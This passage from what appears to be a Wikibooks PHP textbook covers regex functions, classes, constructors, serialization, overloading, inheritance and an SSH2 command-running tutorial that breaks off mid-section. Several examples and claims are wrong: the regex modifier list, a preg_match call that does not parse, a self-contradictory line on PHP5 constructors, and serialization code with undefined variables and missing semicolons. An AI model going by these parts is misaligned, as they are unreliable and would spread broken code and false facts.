Attention: to search for a dollar, `"\$"` doesn't work because it's the variables format, so the simple quotes must be used instead of the double quotes: `'\$'`.

in PHP, the regex patterns must always be surrounded by a delimiter symbol. We generally use the grave accent (‘), but we also find / and #.

In addition, we can add some options after these delimiters:

i	case insensibility
m	the ”.” include carriage returns
x	ignore spaces
o	only treat the first match
u	count the Unicode characters (in multi-byte)

31.2 Research

The function `ereg()`, which allowed to research in regex, has been replaced by `preg_match()` since PHP 5.3.

31.2.1 preg_match()

The function `preg_match`[3] is the main regex search function[4]. It returns a Boolean and asks the two mandatory parameters: the regex pattern and the string to scan.

The third parameter represents the variable which stores the results array.

Finally, the fourth accepts an PHP flag allowing to modify the function base behavior.

- Minimal example:

```
<?php
$string = 'PHP regex test for the English Wikibooks.';

if (preg_match('`.*Wikibooks.*`', $string)) {
    print('This texts talks about Wikibooks');
} else {
    print('This texts doesn\'t talk about Wikibooks');
}
?>
```

- Advanced example:

```
<?php
$string = 'PHP regex test for the English Wikibooks.';

if (preg_match('`.*Wikibooks.*`', $string), results, $flag) {
    var_dump(results);
} else {
    print('This texts doesn\'t talk about Wikibooks');
}
?>
```

Flag examples:[5]

- PREG_OFFSET_CAPTURE: displays the searched substring position in the string.
- PREG_GREP_INVERT: displays the inverse in `preg_grep()`.

31.2.2 preg_grep()

This function searches into arrays[6].

31.2.3 preg_match_all()

To get all true results in one array, replace *preg_match* by *preg_match_all*[7], and *print* by *print_r*.

Example to filter a file content:

```
$regex = "/\(([^)]*)\)/";
preg_match_all($regex, file_get_contents($filename), $matches);
print_r($matches);
```

31.3 Replacement

31.3.1 preg_replace()

The function *preg_replace* accepts three parameters: the replaced and replacing string to treat.

```
<?php
// Replace spaces by underscores
$string = "PHP regex test for the English Wikibooks.";
$sortedString = preg_replace('`( )`', '_', $string);
```

```
echo $sortedString;
?>
```

31.3.2 preg_filter()

Same as `preg_replace()` but its result only include the replacements.

31.3.3 preg_split()

Decomposes a string.

31.4 References

1. [6]
2. [7]
3. [8]
4. [9]
5. [10]
6. [11]
7. [12]

6 https://www.regular-expressions.info/posixbrackets.html
7 http://www.regular-expressions.info/unicode.html
8 http://php.net/manual/en/function.preg-match.php
9 http://php.net/manual/en/ref.pcre.php
10 http://php.net/manual/en/pcre.constants.php
11 http://php.net/manual/fr/function.preg-grep.php
12 http://www.expreg.com/pregmatchall.php

32 Data Structures

32.1 Variable variables

PHP has a legacy concept called "variable variables". This is an older, more limited programming concept that came before composite data structures were available. Since the PHP language now supports composite data structures, **the concept of variable variables is essentially obsolete**.

The PHP manual states:

```
   "Sometimes it is convenient to be able to have variable variable names. That
 is, a variable name which can be set and used dynamically."
```

This approach has historically been used in programming languages that do not support composite data structures. There is no programmatic function or algorithm in PHP that can be obtained with variable that cannot also be obtained with composite data structures.

Moreover, "variable variables" are error-prone and require more maintenance overhead.

32.2 The Basics

Data structures are the way to **represent composite entities** using regular PHP variables.

Those familiar with database design and database implementation know about the concept of database normalization[1].

Data structures in PHP represent a similar concept. Whenever dealing with complex concepts and representing them in PHP, **data structures are a way to normalize PHP variables to consistently and uniformly represent complex concepts**.

32.2.1 PHP Native Structures

- **String** is a structure to represent a singular value (aka scalar)
- **Array** is a structure to represent a list of values (aka vector)

Examples

String Example:

```
$person_name = 'Alice';
```

1 https://en.wikipedia.org/wiki/Database_normalization

Array Examples:

```
$person_names = Array( 0=> 'Alice', 1=> 'Bob', 2=> 'Charlie',  );
$alice_info   = Array( 0=> 'Alice', 1=> 'Female', 2=> '26', 3=>
'alice@example.com',  );
```

32.2.2 PHP Composite Structures

- **SimpleDictionary** is a structure to represent an unordered sequence of name-value pairs. In native PHP, this is done using the standard **Array** with strings for indices.
- **SimpleSequence** is a structure to represent an ordered sequence of values. In native PHP, this is done using the standard **Array** with numeric indices.
- **SimpleTable (aod)** is an ordered sequence of one or more **SimpleDictionary** where each SimpleDictionary instance has matching names.
- **SimpleTable (aoa)** is a sequence of one or more **SimpleSequence** where each SimpleSequence instance has corresponding indices.

The square brackets method allows you to set up by directly setting the values. For example, to make $foobar[1] = $foo, all you need to do is:

Examples

SimpleDictionary Examples:

```
$person_names = Array( 'person1'=> 'Alice', 'person2'=> 'Bob', 'person3'=>
'Charlie',  );
$alice_info   = Array( 'first_name'=> 'Alice', 'sex'=> 'Female', 'age'=> '26',
'email'=> 'alice@example.com',  );
```

SimpleDictionary Examples:

```
$user_profile = Array(
  main => Array(
    first_name  => "Archibald",
    last_name   => "Shaw",
    sex         => "male",
    age         => "33",
  ),
  guardian => Array(
    first_name => "",
    last_name => "",
  ),
  children => Array(
    0 => Array(
      first_name => "Sally",
      last_name => "Shaw",
    ),
    1 => Array(
      first_name => "Scott",
      last_name => "Shaw",
    ),
  ),

);
```

32.3 Notes and references

[1]

1. [2]

2 http://stackoverflow.com/questions/3523670/whats-an-actual-use-of-variable-variables

33 Classes

33.1 Basics

A class is a structure composed by three kinds of items called members[1], that is:

1. constants;
2. variables called ”properties”;
3. functions called ”methods”.

Each of which is declared with a visibility that is either explicit (from ”private”, ”protected” and ”public”) or implicit (that is, omission of a declaration, only allowed for methods for which the default value is ”public”).

An object is an instance of a class, in which its class's methods (if any) can be called, and its class's members (if any) can be provided with new values overriding the default ones.

33.2 Classes

A simple class can be defined as follows:

```
 <?php

 /* Start the class */
 class Html {

    /*
      Declare a public member named "br" with a default value of "&lt;br /&gt;"
(the
      XHTML line break)
    */
    public $br = '&lt;br /&gt;';


    /*
      Declare a public (by default) method named "printLn" requiring an
argument
      named "message"
    */
    function printLn ($message) {

       /*
         Echo the "message" argument followed by the value of the "br" member
(accessed
         through the use of the "$this" keyword (that represents the current
object),
         the "->" operator (used to access members) and the member's name
''without''
```

1 https://en.wiktionary.org/wiki/member

```
          the "$" character.
        */
        echo $message . $this->br;

    }
}
?>
```

However, just because you've created a class doesn't mean you get to use anything in it. A class is an abstract entity. It is a way of saying "here is how to create `Html`-type objects, and what they do." Before you can do anything with the members of a class, you must make an *instance* of that class.

That is, you must actually make an "`Html`" object and work with that.

33.3 Objects

Once you have defined a class, you will want to try it out. Objects are instances of a class. Using objects in PHP is as follows

```
<?php
$myPage = new Html; // Creates an instance of the Html class
$myPage->printLn('This is some text'); // Prints "This is some text&lt;br /&gt;"
?>
```

The new concepts in that piece are:

- The `new` keyword — Used to make a new instance of an object, in this case an object of the class `Html`.
- The `->` operator — Used to access a member or method of an instantiated object, in this case, the method `printLn()`

Now, the fact that the representation of a line break is defined within a member of the class allows you to change it. Note that the changes will only concern an instance, not the whole class. Here is an example (note that "
" is an HTML line break and "
" is an XHTML line break):

```
<?php
$myPage = new Html; // Creates an instance of the Html class
$myOldHtmlPage = new Html; // Creates another instance of the Html class
$myOldHtmlPage->br = "&lt;br&gt;"; // Changes the value of the "br" member of
 the "$myOldHtmlPage" instance to the old HTML value
$myOldHtmlPage->printLn('This is some text'); // Prints "This is some
 text&lt;br&gt;", the new value of the member is used
$myPage->printLn('This is some text'); // Prints "This is some text&lt;br
 /&gt;", the default value of the member is kept
?>
```

However, note that it is better to avoid modifying an instance's members: to allow the instance for possible constraint validation, one should instead add to the class (and use while dealing with instances) "get_br" and "set_br" methods to get and set the value of the member while allowing the instance to perform tests and possibly reject the change.

33.4 Scope

The scope of an item of a class defines who is allowed either to call it (for methods) or to read / change its value (for properties).

Scope definition is compulsory for properties and facultative for methods where ”public” is the default value if nothing is specified.

33.4.1 Public

Public items can be accessed anywhere.

33.4.2 Protected

Protected items defined in a class are accessible to the object that instantiates this class or a subclass of this class.

33.4.3 Private

Private items defined in a class are accessible to the object that instantiates the class.

33.5 Members

33.5.1 Constants

They are declared with `const` (instead of `define()` in procedural programming) and can optionally been followed by a default value:

```
const MY_CONSTANT_1 = 0;
```

They can be retrieved by reflexion with:

```
$myClass1::getConstants();
```

33.5.2 Properties

Even though declaring class properties as public makes their use easier, it is generally not recommended. Should you decide in future versions of the class to perform any kind of check on a public property, or store it in another additional property for caching purposes, you couldn't, since the rest of the code would still use the public property without any check.

Therefore, one should prefer (except in special cases) not allowing public access to properties, and provide simple ”get_foo” and ”set_foo” methods to return or overwrite them, leaving open the possibility of adding complexity if required.

They can be retrieved by reflexion with:

```
$myClass1::getProperties();
```

33.5.3 Methods

Since the methods provide the actual interface between an object and the rest of the world, it makes sense for almost all of your methods to be in public access.

More precisely, any method intended to be called from the outside should be public. However, methods only meant for internal use and that aren't part of the interface should not be public. A typical example being an object abstracting a connection with a database while providing a cache system. Different public methods should exist to allow interaction with the outside world, but, for example, a method sending a raw SQL request to the database should not be public, as any foreign code calling it would bypass the cache and potentially cause useless load or (worse) loss of data as the database's data may be outdated (if the latent changes have taken place in the cache).

They can be retrieved by reflexion with:

```
$myClass1::getMethods();
```

33.6 Practical use

The above example doesn't make the case for classes and objects. Why go to the bother of creating all that extra structure just to access functions?

Let's give an example that can show how this sort of thing would be useful:

```
<?php
class Html {
   private $source = "";
   public function printLn ($message) {
      echo $this->source .= $message . "&lt;br /&gt;";
   }
   public function show () {
      echo $this->source;
   }
}

$elvis = new Html();
$goth = new Html();

$elvis->printLn("Welcome to my Elvis Fan Page! Uh-huh, uh-huh, uh-huh.");
$goth->printLn("Entree the Goth Poetry Labyrinth of Spoooky Doooommmm...");
$elvis->show();
?>
```

Some things to note:

- The statement `echo $this->source .= $message ."<br />";` first changes the value of the private property `$source` and then prints the changed value. The changed value is saved.
- A different copy of the `$source` property exists within each instance of the `Html` class.

- The `printLn` and `show` functions refer to the same copy of `$source` that was called for their object. (When I call `$elvis`'s `printLn` function, it changes `$elvis`'s `$source` variable and the statement `$elvis->show();` prints the changed value of `$source`).
- Using standard variables and methods, there would be a greater risk of sending the wrong content to the wrong page. Which could be horribly confusing for my website visitors.

Now we can start to see how we could save some time and trouble using classes and objects. We can now easily manage two potential web pages at once, printing the correct content to each. When done, we can merely call a page's `show` function to send that page's html source to the output stream.

I could add more features to all of the objects just by adding variables and functions to the governing class, and I could add more objects at will just by declaring them. In fact, the more complicated my program gets, the easier everything is to manage using object-oriented programming.

34 Special Methods

34.1 Constructors

A constructor is a special method inside a class that is called when the object is initiated. A constructor could be used as follows:

This is the PHP5 Version:

```
<?php
class test {
  public $name;
  public function __construct ($name) {
      $this->name = $name;
   }
}
$testing = new test('Hello');
echo $testing->name;  // Prints 'Hello'
?>
```

This is the equivalent PHP4.x Version: (Note that there are no public/private keywords, and the name of the class is the constructor)

```
<?php
class test {
  var $name;
  function test ($name) {
      $this->name = $name;
   }
}
$testing = new test('Hello');
echo $testing->name;  // Prints 'Hello'
?>
```

In PHP5 a constructor must be declared as public or it will not work. The name of a constructor must always be __construct in PHP5.The name of the class must be used as a constructor in PHP5.

34.2 Destructors

Destructors delete an instance of an object. The destructor is declared within the object's class, and contains other code to be executed at the time of destruction:

```
<?php
class myClass {
  function __construct() {
```

```
        print "Constructing new myClass...\n";
        $this->name = "My class";
    }
    function __destruct() {
        print "Destroying " . $this->name . "\n";
    }
}
$obj = new myClass();
?>
```

Note that destructors only exist in PHP5.

34.3 Why Constructors and Destructors Are Great

Why are constructors and destructors useful? Sometimes objects represent complex entities that use other resources or have other side effects, even though they appear as simple variables in your program. In these cases, special setup may be required when you create the object; you can use the constructor to do that automatically for you. Also, it can be very important to free those resources at the end of your program so that they don't get tied up from multiple runs or pageviews; the destructor can automatically handle that so you don't forget.

Here's an example that makes handling MySQL databases slightly simpler:

```
<?php
class db_link {
 private $link;
 public function __construct ($database_name) {
  $link = mysql_connect ("localhost", "your_user_name", "your_password");
  mysql_select_db ($database_name, $link);
  $this -> link = $link;
  }
 function query ($sql_query) {
  $result = mysql_query ($sql_query, $this -> link);
  return $result;
  }
 function __destruct() {
  mysql_close ($this -> link);
  }
 }
$db = new db_link ("MyDB");
$result = $db->query ("Select * from MyTable");
?>
```

The class ”db_link” uses 3 functions: the constructor, which automatically logs into the database for me whenever I create a new ”db_link” object, a ”query” function, which I can use to get records from the database, and the destructor, which automatically closes the database whenever PhP is finished with my object instance. I could do the same things as the constructor and destructor by writing special ”open” and ”close” functions for the database, but then I would have to call those functions every time. This way, all I have to do is make objects and use them; they can open and close themselves automatically.

34.4 Serialization and Unserialization

In certain cases, it is necessary to store an instantiated(created) object as static text for storage between program runs, usually in a file or database field. This can be stored using serialization, which creates a string from an object that can then be unserialized into a working object, including working methods and properties.

An object can be serialized with:

```
<?php
class test {
 private $test1;
 public function __construct ($testval) {
  $this->test1=$testval;
  }
 public function get_testval() {
  return $testval;
  }
 }
$testobject = new test ("Testing serialization...")
$serialized_testobject = serialize($testobject);
?>
```

$serialized_testobject is a string that can then be stored as text in a file or database column, assuming it does not exceed the size limit for the column. It can be unserialized with:

```
<?php
class test {
 private $test1;
 public function __construct ($testval) {
  $this->test1=$testval;
  }
 public function get_testval() {
  return $testval;
  }
 }
$testobject = unserialize($serialized_testobject);
echo $testobject->get_testval();
?>
```

Note that the test class needs to be defined as it is not defined in the serialized string. Defining the class in a different way may cause problems when unserializing. The class must have the same name.

Certain objects, however, will need to perform tasks before and after serializing to ensure consistency between runs. For example, database links will need to be destroyed when serializing and recreated when unserializing, or they will be invalidated later. The object is prepared for serialization during the user-defined __sleep() method, and is prepared for work after unserializing with __wakeup(), as shown below.

```
<?php
class db_link {
 private $link;
 public function __construct ($database_name) {
  $link = mysql_connect ("localhost", "your_user_name", "your_password");
  mysql_select_db ($database_name, $link);
  }
 function query ($sql_query) {
  $result = mysql_query ($sql_query, $link);
  return $result;
```

```
  }
 function __destruct() {
  mysql_close ($link);
  }
 function __sleep() {
  mysql_close ($link);
 }
 function __wakeup() {
  $link = mysql_connect ("localhost", "your_user_name", "your_password");
  mysql_select_db ($database_name, $link);
 }
$db = new db_link ("MyDB")
$result = $db->query ("Select * from MyTable")
?>
```

Here, the link is closed when serializing, and reopened when unserializing as the link would probably not have the same network state if stored in a text file for a few hours. In complex classes, many properties and other data not highly dependent on time would be stored in the serialized string, while more volatile things like file handles and database links would be closed and reopened later. An exception does exist: Large amounts of data that can be quickly generated should be destroyed or at least compacted in __sleep() so they do not take up space in the serialized file. For example, an array containing algorithmically-generated entries that is 2000 entries long should be regenerated.

35 Overriding and Overloading

35.1 Overloading

Overloading in PHP provides means to dynamically "create" properties and methods. These dynamic entities are processed via magic methods one can establish in a class for various action types. In other terms creating properties/methods at run-time is called property overloading/method overloading.

35.1.1 Property overloading

In PHP, property overloading can be done by magic methods like __set, __unset, __isset, __get method. Overloading can be done by magic methods like __call and __call_static. PHP's interpretation of "overloading" is different than most object oriented languages. Overloading traditionally provides the ability to have multiple methods with the same name but different quantities and types of arguments.

Scope	Return Type	Method	Params	Syntax	Extra Note
public	void	__set	string $name , mixed $value	public void __set (string $name , mixed $value)	run when writing data to inaccessible properties.
public	mixed	__get	string $name	public mixed __get (string $name)	utilized for reading data from inaccessible properties
public	bool	__isset	string $name	public bool __isset (string $name)	triggered by calling isset() or empty() on inaccessible properties
public	void	__unset	string $name	public void __unset (string $name)	invoked when unset() is used on inaccessible properties.

35.1.2 Method overloading

When we try to call a method that doesn't exist in PHP, __call() is called and that way we achieve Method Overloading.

Syntax	Description
public mixed __call (string $name , array $arguments)	__call() is triggered when invoking inaccessible methods in an object context.
public static mixed __callStatic (string $name , array $arguments)	__callStatic() is triggered when invoking inaccessible methods in a static context.

35.2 Overriding

In OOPs meaning of overriding is to replace parent class method in child class. Or in simple technical word method overriding mean changing behavior of the method. In OOP

overriding is process by which you can re-declare your parent class method in child class. So basic meaning of overriding in OOP is to change behavior of your parent class method.

Normally method overriding required when your parent class have some method, but in your child class you want the same method with different behavior. By overriding of method you can completely change its behavior from parent class. To implement method overriding in OOP we commonly create same method in child class.

36 Inheritance

Inheritance is the extension of a class. A child class has all the properties and methods of its parent class.

Inheritance is one of the core concepts in object oriented programming. PHP supports inheritance like other object oriented language supports inheritance.

36.1 Example 1: pets

For example, pets generally share similar characteristics, regardless of what type of animal they are. Pets eat, and sleep, and can be given names. However the different types of pet also have their own methods: dogs bark and cats meow. Below is an implementation of this:

```
<?php
class Pet
{
   var $_name;

   function Pet($name)
   {
      $this->_name = $name;
   }

   function eat()
   {
   }

   function sleep()
   {
   }
}

class Dog extends Pet
{
   function bark()
   {
   }
}

class Cat extends Pet
{
   function meow()
   {
   }
}

$dog = new Dog("Max");
$dog->eat();
$dog->bark();
$dog->sleep();
```

```
$cat = new Cat("Misty");
$cat->eat();
$cat->meow();
$cat->sleep();
?>
```

Likewise we could use the PHP5 syntax for our inherited class:

```
<?php
class Pet
{
   var $_name

   public function __construct($name)
   {
      $this->_name = $name;
   }

   function eat()
   {
   }

   function sleep()
   {
   }
}
?>
```

36.2 Example 2: persons

Consider two person one the parent and his child. By definition the child would have inherited certain properties from the parent. So the child might have all the characteristics of the parent and in addition to that the child might have additional characteristics. With this analogy in mind consider two classes Person and programmer the base class has the following code.

```
<?php
class Person{
    var $legs=2;
    var $head=1;

    function walk(){
        echo "Walk";
    }
}
?>
```

The Person class has two attributes $legs and $head and it has one method walk. Suppose there is another class programmer . The programmer class has all this attributes and methods so you can define it in again or you can just inherit from the Person class. So you can define the programmer class as follows.

```
<?php
    class programmer extends Person{

    }
?>
```

No this that all we have to do is just use the keyword **extends** and then followed by base class then the all the properties of the base class are inherited which means we can do this.

```
<?php

$jedai = new programmer();
echo $jedai->legs;
echo $jedai->head;
echo $jedai->walk();

?>
```

36.3 Traits

Initially, PHP was a language of simple inheritance. However since PHP 5.4.0, a data structure called "trait[1]" allows the multiple inheritance.

Example:

```
<?php
trait MyTrait1
{
    function Hello() {
        print 'Hello';
    }
}

trait MyTrait2
{
    function World() {
        print 'World';
    }
}

class MyClasse1
{
    use MyTrait1;
    use MyTrait2;

    function __construct() {
        $this->Hello();
        $this->World();
    }
}

$Test = new MyClasse1;
?>
```

1 https://en.wiktionary.org/wiki/trait

37 SSH Class

A reader requests that the formatting and layout of this book be improved.
Good formatting makes a book easier to read and more interesting for readers. See Editing Wikitext[1] for ideas, and WB:FB[2] for examples of good books.
Please continue to edit this book and improve formatting[3], even after this message has been removed. See the discussion page[4] for current progress.

PHP has a class[5] that allows you to connect to servers through SSH. This tutorial explains how to use it.

Note to WikiBooks admins: yes, I know it's messy, I'll make it look nice really soon :) I just think that WikiBooks was the most appropriate place to dump the tutorial since the php.net comment section thought it was a bit too long :P

Note to Readers: As you probably can see...this is a really really long tutorial. Not because it's a hard concept. But because I want to explain it in such detail that ANYBODY can get it. If you have a little bit of experience in php already, it's fine too. Look through the source code I showed below and if you don't understand a line, just look for it in my tutorial. I marked off 3 very important concepts with a bunch of *********s.

Hope this helps a buncha people. It's my first time doing such an extensive tutorial. So gimmie your input :)

I've had quite a bit of trouble getting ssh2 to work, mainly because I didn't understand the concepts behind a lot of the commands used. That's why when I tried the scripts given by different users below, the didn't work. I did a bit of research on each of the functions users used...and I've made an (almost) failsafe script. And most importantly I will explain what exactly is happening in the code, unlike a lot of users here, explain what every step does.

Here's the code. The function you will use is readwrite. It connects through ssh using username/password authentication, sends a command and looks for a certain output. If it finds that output it returns true. Obviously you will want to do something different (ex: get ALL the output of a command, run multiple commands, etc). That's why I will explain exactly what is happening in every line. Trust me, if you don't understand a part of the script READ THE EXPLANATION!, you don't want to take any shortcuts here, or you will get very unexpected results if your situation is a slightly different from mine.

---

1 https://en.wikibooks.org/wiki/Editing_Wikitext
2 https://en.wikibooks.org/wiki/Wikibooks:FB
3 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming&action=edit
4 https://en.wikibooks.org/w/index.php?title=User_talk:Dirk_H%C3%BCnniger/PHP_Programming&action=edit&redlink=1
5 http://us2.php.net/manual/en/book.ssh2.php

37.1 Full Script

```
function readwrite ($write, $lookfor,$ip,$user,$pass) {
    flush(); //Write Whatever we have before

    //Connect and Authenticate
    $connection = ssh2_connect($ip) or die ("can't connect");
    ssh2_auth_password($connection,$user,$pass) or die("can't auth");

    //Start the Shell
    $shell = ssh2_shell($connection,"xterm");

    //Here we are waiting for Shell to initialize
    usleep(200000); //increase this a bit if you get unexpected results

    $write = "echo '[start]'; $write ; echo '[end]'";

    $out = user_exec($shell, $write);
    fclose($shell);
    if(stristr($out, $lookfor)) { //it exists
            return true;
    }

}


function user_exec($shell,$cmd) {
    fwrite($shell,$cmd . PHP_EOL); //write to the shell
    $output = ""; //will store our output
    $start = false; //have we started yet
    $start_time = time(); //the time sarted
    $max_time = 10; //time in seconds
    while(((time()-$start_time) < $max_time)) { //if the x seconds haven't
 passed
        $line = fgets($shell); //get the next line of output
        if(!stristr($line,$cmd)) { //we don't want output that was out command
 (because it also contains [start] and [end]
            if(preg_match('/\[start\]/',$line)) { //if we see that [start] is in
 the line that means we started
                $start = true; //set start to true
            }
            elseif(preg_match('/\[end\]/',$line)) { //we're done
                    return $output; //return what we have (last line)
             }
            elseif($start && isset($line) && $line != "")
            {
                    $output = $line; //return only last line (.= for all lines)
            }
        }
    }
}
```

37.2 Script Explanation

37.2.1 ReadWrite Header

```
function readwrite ($write, $lookfor,$ip,$user,$pass) {
```

This is a function header for my readwrite function. It accepts 5 parameters:

In Depth

$write
This is the command we want to send (ex: cat logfile). It can be any valid bash command.

NOTE: In case you don't know already, you have to escape all characters that php sees as ”special”, such as $ and quotes. For example if I wanted to run $? (prints out the exit status) I will have to escape $ to \$. If you want to send multiple commands you can separate them with ';' (ex: command1;command2;command3...) Another note is you might want to test out your commands in a terminal before you use them in a script. Remember that what you see in your terminal is what you'll get in the script

$lookfor
In my situation I was looking for shell to return a certain value (ex: the exit status of my previous command). So in my situation, if I was looking for a successful run, it would be ”0”.

$ip, $user, $pass
These are pretty self explanatory. Basically it's the IP that we want to connect to (or hostname or domain name or however you access your remote computer), and the username and password. It is NOT your current computer's un/pw. It's the REMOTE computer's username and password. Note that the SSH2 class also supports public key authentication. I haven't tried it but if anybody wants me to try and make a tutorial shoot me an email.

That's is for our header. Remember...this is MY function. It does a specific tasks that I want it to (that is look at the last line of output and return true if it matches $lookfor) when given command $write. If you have a different purpose than mine then you have to edit this script accordingly. If you need help, email me, I will be glad to help!

37.2.2 Flush() Command

```
flush(); //Write Whatever we have before
```

This is optional. In my case I was running readwrite in a loop and I wanted to see the results as they came up. What flush() does is it outputs whatever we have in our echo buffer to the user (as opposed to loading the entire script first and then spitting out the echo buffer). Correct me if I'm wrong on this.

37.2.3 Connection

```
//Connect and Authenticate
$connection = ssh2_connect($ip) or die ("can't connect");
```

Basically what $connection is, is a resource. If you have used mysql with php you'll find this a lot easier to understand. A resource is an object which interacts with an external program (ex: after you do a mysql_connect() you have access to the mysql resource). It allows other function within your code to interact with that recourse. If it's can't connect it quits the script and gives an error (can't connect)

37.2.4 Authentication

```
    ssh2_auth_password($connection,$user,$pass) or die("can't auth");
```

ssh2_auth_password is a function that can interact with the ssh resource. In this case it authenticates you with given username and password. It it can't it quits the script and gives off an error. (can't auth)

37.2.5 The Shell Stream

```
    //Start the Shell
    $shell = ssh2_shell($connection,"xterm");
```

$shell holds something called a STREAM. Now streams are very cool things. You can compare them to mysql_query() which is a type of a stream (I think).

In Depth

For all streams you can read them. They spit out data dynamically and there are php functions to read each line they spit out. For files, and apparently for the shell stream too there's a function called fgets. All that it does is gets the next line of text.

If you are familiar with mysql you can think of the very commonly while loop

```
while ($row = mysql_fetch_array($query))
```

fgets is the same as mysql_fetch_array. Both mean get the next record (or line). Except mysql_fetch_array gets it is an array of columns and fgets gets it as a string. You might be wondering...why can't I just do while($line = fgets($shell)). Well.....technically you can. And for some purposes it will work very well. But I'll explain below why it's not a really good idea in *most* cases when we get to the fgets function below...

37.2.6 Wait For Shell To Initialize

```
    //Here we are waiting for Shell to initialize
    usleep(200000); //increase this a bit if you get unexpected results
```

A few scripts fail to mention this. Try going in a terminal and typing ssh servername where servername is the name of the server you are trying to ssh into (or ip or domain). Login with your password. Now you'll see something like this:

```
Linux adz-laptop 2.6.28-14-generic #46-Ubuntu SMP Wed Jul 8 07:21:34 UTC 2009
 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
```

```
http://help.ubuntu.com/

0 packages can be updated.
0 updates are security updates.

Last login: Sun Jul 19 00:06:10 2009 from localhost
```

It takes a very short amount of time to transmit over the network. However there are cases where it can take a bit longer (ex: you are on a dialup connection)... In order to avoid this problem, you have to specify a sleep interval

What `usleep(x)` does it tells php to wait x microseconds (1 millionth of a second) before going on. It is farely sage to make this 200,000 (1/5 of a second). If you start getting unexpected results you might want to nudge it up a bit.

37.2.7 Formatting The Command

```
    $write = "echo '[start]'; {$write}; echo '[end]'";
```

Remember $write from our function header? That was our command. The [start] part is not absolutely necessary for my purpose, but it might be for yours. So I'll explain what is happening.

fread() which is used in the user_exec function below, gets EVERYTHING that was outputted in the shell. That includes the headers I told you about in our previous example. We don't want that. We only want to see what our command outputs. That's why we first execute echo '[start]' which writes the word [start] literally onto the screen. Then it executes out command (the output from the command goes on the screen). And then it prints [end]. So in the end we should have:

[start] output from command [end]

Our user_exec function will take care of the rest. I will explain how when in happens in there...

37.2.8 Sending the Request and Getting the Output

```
    $out = user_exec($shell, $write);
```

Looks like we are all set to send our request! We use a little function that one of the users below wrote called user_exec. I modified it slightly to fit my needs and I'll explain how you can too to fit yours. What php does is executes that function, and stores the resutn value into $out. $out will contain your output. In my case I just wanted the very last line. That's what $out holds in the unedited version of the script

37.2.9 Closing Shell

```
fclose($shell);
```

When we're all done it's good practice to close our shell stream. It's comparable to mysql_close().

37.2.10 Checking Out Input for Lookfor

```
if(stristr($out, $lookfor)) { //it exists
        return true;
}
```

In Depth

stristr stands for string in string. I am looking for $lookfor in the $out which was produced above. Remember that this will only work in the case that $out is a string! If you want it to be an array...read up on foreach loops...or if you're really dumb (jk jk! you're not dumb you're just inexperienced. that can be changed with practice) email me your situation and I'll teach you how. Don't worry I like to teach :)

37.2.11 THE USER_EXEC FUNCTION

```
function user_exec($shell,$cmd) {
```

Ok...remember when our user_exec function was called above...this is what is being called. We passed 2 parameters to it, the $shell stream and the command ($cmd)

37.2.12 Writing To The Shell Stream

```
fwrite($shell,$cmd . PHP_EOL); //write to the shell
```

Remember when I said you can read from streams? Guess what!!! You can write to them too!!! fwrite does just that! So we are writing...to out $shell stream, the command and PHP_EOL. PHP_EOL stands for the end of line (equivalent of you pressing enter on your keyboard). I *think* you can use \r and \n instead, but somebody reccomended using PHP_EOL instead...Can't hurt (can somebody explain why?)

37.2.13 A few Local Variables

```
$output = ""; //will store our output
$start = false; //have we started yet
```

$output stores our output, and start says if we have reached [start] yet..but more on that below.

37.2.14 Timing the Loop: Why It's Important

```
    $start_time = time(); //the time sarted
    $max_time = 10; //time in seconds
    while(((time()-$start_time) < $max_time)) { //if the x seconds haven't
passed
```

Important: Say your command was to run a shell script. And it runs for...I dunno 3 seconds. This is why while($line = fgets($shell)) won't work as intended.

Say we did use while($line = fgets($shell)...here is what will happen: 1) We started the SSH connection. Yay... 2) We got the shell stream... Yay 3) We waited a few milliseconds for the weird headers to load. 4) We wrote to the shell our command saying to run the shell script. Our big shell script is running. Remember it takes 2 seconds to run. That's a loot of time to php. 4) It starts reading in a loop. Every time fgets($shell) runs it spits out the next line. So we got through our headers in say... a half a second at the most. The strip we started is 1/4 done. Then we read the next line. UHOH!!! It doesn't exists O.o. The script hasn't outputted anything yet! Well, PHP thinks...this geezer told me to keep running fgets while it returns something. Looks like we're done here. And it exists out of our while loop 5) The shell script is still running for another 1 3/4 seconds. It screams out the output! But php doesn't hear it. So it's as if it never gave that output. Remember that saying "if a tree falls in a forest and nobody hears it...does it really make a sound?". Apparently it doesn't :) (Insert me laughing @ own corny joke!!!) Hope that example + corny joke helped to explain why the while() loop won't work in the case of running big scripts, so you might be wondering...well...then how DO we get the damn shell script's output. Here's how...

37.2.15 Timing the Loop

```
    $start_time = time(); //the time started
    $max_time = 10; //time in seconds
    while(((time()-$start_time) < $max_time)) { //if the x seconds haven't
passed
```

It's pretty smart but also pretty simple. A user below suggested it. Here is how it works. time() gets the unix timestamp (# of seconds since the start of UNIX epoch). Huh? What? Don't worry. We just care that it's the time in seconds. If you do want to know more about time just lookup the time() function. It's...usefull... $max_time stores the maximum amount of time the loop can run.

In Depth

```
while(((time()-$start_time) < $max_time)) { //if the x seconds haven't passed
```

Here's where the magic happens. Every time php does an iteration of the while loop it checks for a certain condition. The condition is that the max time has not elapsed yet. Here's how it knows Remember time()? Spits out the current time in seconds since the UNIX epoch started. Well...unsurprisingly if you called time() a minute ago and called it now, the current result for time() will be bigger... 60 bigger. Basic basic math you learned in elementary school. time() counts off the seconds from a certain date (January 1, 1970 to be exact). It will produce a whopping big number. But it doesn't matter all we care

about is how many seconds the START number is less than the NOW number. That's what time()-$start_time does! Until that number reaches the max seconds we'll keep running the loop...over and over and over...It's gonna be quite a lot of iterations...but it doesn't matter.

37.2.16 Timing the Script: Why a Timeout *******

Now here is the SUPER IMPORTANT PART You **must** make sure that the script you are trying to run will run in less than the amount specified in $max_time. Try running the script yourself and add an extra second or two based on the amount of time it took. You might be wondering why not make the $max_time something really really big like... 1000000000000000000. Then my script will have plenty of time to run. Here's the issue...If something goes wrong in your shell script and it doesn't quit for some reason, or produce output, php doesn't know...It will think it's still running. And it will run in a near-infinite loop until your 10000000000000000 seconds have passed. That's....not good. Not good at all....So make it a *reasonable* amount.

37.2.17 Getting the Next Line

```
        $line = fgets($shell); //get the next line of output
```

we get the next line in our output and put it into line. So the first few time it will be the headers and the command we just gave. if our big script is still running it's keep trying to get the next line...and failing. over..and over and over. but we don't care. eventually the script will produce some output...

37.2.18 Making Sure Our Command Isn't Included in Output

```
